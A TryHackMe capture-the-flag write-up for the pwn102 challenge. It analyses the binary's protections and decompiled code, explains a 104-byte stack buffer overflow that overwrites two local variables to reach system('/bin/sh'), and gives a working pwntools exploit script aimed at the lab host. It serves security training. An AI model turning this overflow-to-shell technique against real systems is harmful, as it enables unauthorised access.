TryHackMe - pwn102
Provided:
IP: 10.10.197.194
Files: pwn102.pwn102
Initial Recon & Analysis
Running file command on pwn102.pwn102:
pwn102.pwn102: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2612b87a7803e0a8af101dc39d860554c652d165, not stripped
- This is a 64-bit Linux executable file
- Not stripped - Debugging symbols are present, making reverse engineering easier
- Dynamically linked - Uses shared system libraries
We can use tool checksec to see what protections this binary has been compiled with:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
- Full RELRO: relocations are read-only (harder to overwrite GOT entries).
- No stack canary: stack smashing detection via canary is not present.
- NX enabled: stack/heap are non-executable (so code injection on the stack is prevented).
- PIE enabled: addresses are randomized (ASLR), so you must rely on a stack-based overwrite or use a leak to get runtime addresses if needed.
- Not stripped: function names / symbols available in the binary help analysis.
Running the program prints a banner and the following lines:
┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
│ ├┬┘└┬┘├─┤├─┤│ ├┴┐│││├┤
┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
pwn 102
I need badf00d to fee1dead
Am I right? NotSure
I'm feeling dead, coz you said I need bad food :(
Step 1: Understanding the Challenge
I used Ghidra to decompile the binary. The relevant part of main is:
void main(void)
{
undefined1 local_78 [104];
int local_10;
int local_c;
setup();
banner();
local_c = 0xbadf00d;
local_10 = 0xc0d3;
printf("I need %x to %x\nAm I right? ",0xbadf00d,0xfee1dead);
__isoc99_scanf(&DAT_00100b66,local_78);
if ((local_c == 0xc0ff33) && (local_10 == 0xc0d3)) {
printf("Yes, I need %x to %x\n",0xc0ff33,0xc0d3);
system("/bin/sh");
return;
}
puts("I\'m feeling dead, coz you said I need bad food :(");
exit(0x539);
}
There is a local buffer local_78 of 104 bytes
scanf reads user input into that buffer using an unchecked format string, allowing a buffer overflow.
Before scanf:
local_cis initialized to0xbadf00d.local_10is initialized to0xc0d3. The conditional that spawns a shell is:local_c == 0xc0ff33andlocal_10 == 0xc0d3. So the exploit goal is to makelocal_cequal0xc0ff33while keepinglocal_10 == 0xc0d3.
Because the buffer and the two int locals are stored contiguously on the stack, a single overflow can overwrite both local_10 and local_c. The decompiled layout suggests the stack order after the buffer is local_10 followed by local_c. Therefore the overwrite must write local_10 first and then local_c.
Solution
- Overflow the 104-byte buffer.
- Overwrite
local_10(4 bytes) with0xc0d3(so its value remains the expected0xc0d3). - Overwrite
local_c(4 bytes) with0xc0ff33. - When the
ifcondition becomes true, the program callssystem("/bin/sh")and we get a shell.
int is 4 bytes on x86_64, so use 4-byte values (p32 in pwntools).
p32 produces little-endian byte order, which matches the architecture.
Since there is no stack canary, overwriting local variables is straightforward.
from pwn import *
context.binary = binary = "./pwn102.pwn102"
# p32(c0ff33) = \x33\xff\xc0\x00
payload = b"A"*104 + p32(0xc0d3) + p32(0xc0ff33)
#p = process()
p = remote("10.10.197.194", 9002)
p.recv()
p.sendline(payload)
p.interactive()
Tools & References Used
pwntools documentation - https://docs.pwntools.com/en/stable/
Ghidra (for decompilation)
checksec